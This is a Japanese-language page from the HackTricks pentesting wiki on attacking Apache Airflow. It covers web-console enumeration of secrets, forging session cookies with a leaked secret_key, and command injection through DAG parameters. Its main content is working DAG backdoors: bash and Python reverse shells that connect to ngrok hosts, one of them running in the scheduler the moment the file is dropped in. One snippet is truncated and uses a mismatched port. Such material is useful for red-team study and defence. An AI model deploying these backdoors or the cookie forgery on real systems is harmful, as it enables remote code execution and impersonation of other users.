Apache Airflow Security

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

基本情報

Apache Airflow は、データパイプラインやワークフローのオーケストレーションとスケジューリングのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」とは、さまざまなソースから発信される複雑なデータワークフローを整理し、調整し、管理するプロセスを意味します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、多くのアプリケーションで広く利用されており、これらはすべてビッグデータアプリケーションの機能の基盤となっています。

基本的に、Apache Airflow は、何かが発生したときにコードの実行をスケジュールすることができます。

ローカル環境

Docker-Compose

完全な Apache Airflow Docker 環境を起動するために、https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml から docker-compose 設定ファイルを使用できます(MacOS の場合は、docker VM に少なくとも 6GB のRAMを割り当てる必要があります)。

Minikube

Apache Airflow を実行する簡単な方法の1つは、minikubeを使用して実行することです。

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflowの設定

Airflowは、機密情報を設定に保存する可能性があり、または設定に弱い構成があるかもしれません:

pageAirflow Configuration

Airflow RBAC

Airflowを攻撃する前に、権限がどのように機能するかを理解する必要があります:

pageAirflow RBAC

攻撃

Webコンソールの列挙

Webコンソールにアクセス権がある場合、次の情報の一部またはすべてにアクセスできるかもしれません:

  • 変数(ここにはカスタムの機密情報が保存されている可能性があります)

  • 接続(ここにはカスタムの機密情報が保存されている可能性があります)

  • http://<airflow>/connection/list/ でアクセス

  • 設定secret_keyなどの機密情報やパスワードがここに保存されている可能性があります)

  • ユーザーとロールの一覧

  • 各DAGのコード(興味深い情報が含まれている可能性があります)

変数値の取得

変数はAirflowに保存され、DAGがその値にアクセスできるようになります。他のプラットフォームのシークレットに似ています。十分な権限があれば、GUIでhttp://<airflow>/variable/list/にアクセスできます。 Airflowはデフォルトで変数の値をGUIに表示しますが、こちらによると、GUIにはアスタリスクで表示される変数のリストを設定することが可能です。

ただし、これらのは、CLI(DBアクセスが必要)、任意のDAGの実行、変数エンドポイントにアクセスするAPI(APIを有効にする必要があります)、そしてGUIそのものを介して依然として取得できます。 GUIからこれらの値にアクセスするには、アクセスしたい変数を選択し、アクション -> エクスポートをクリックします。 別の方法は、隠された値ブルートフォースを実行し、それを取得するまで検索フィルタリングを行うことです:

特権昇格

expose_config構成がTrueに設定されている場合、ユーザーロール以上のユーザーはWeb上で構成を読み取ることができます。この構成では、secret_keyが表示されるため、この有効なユーザーは自分自身の署名済みクッキーを作成して他のユーザーアカウントになりすますことができます。

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG バックドア(Airflow ワーカー内の RCE)

もし DAG が保存されている場所に書き込みアクセス があれば、リバースシェルを送信する DAG を作成することができます。 このリバースシェルは Airflow ワーカーコンテナ内で実行 されることに注意してください:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG バックドア(Airflow スケジューラーでの RCE)

ものをコードのルートで実行するように設定した場合、この記述時点では、それを DAG のフォルダーに配置した数秒後にスケジューラーによって実行されます。

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAGの作成

DAGクラスタ内のマシンを侵害することができれば、dags/フォルダ内に新しいDAGスクリプトを作成し、DAGクラスタ内の他のマシンに複製されます

DAGコードインジェクション

GUIからDAGを実行すると、それに引数を渡すことができます。 したがって、DAGが適切にコーディングされていない場合、コマンドインジェクションの脆弱性がある可能性があります。 これがこのCVEで起こったことです: https://www.exploit-db.com/exploits/49927

DAG内でコマンドインジェクションを探し始めるために知っておく必要があるのは、パラメータがコード**dag_run.conf.get("param_name")アクセス**されることです。

さらに、同じ脆弱性が変数でも発生する可能性があります(特権があればGUIで変数の値を制御できます)。変数は次のようにアクセスされます:

from airflow.models import Variable
[...]
foo = Variable.get("foo")
<details>

<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>

HackTricks をサポートする他の方法:

* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。

</details>

最終更新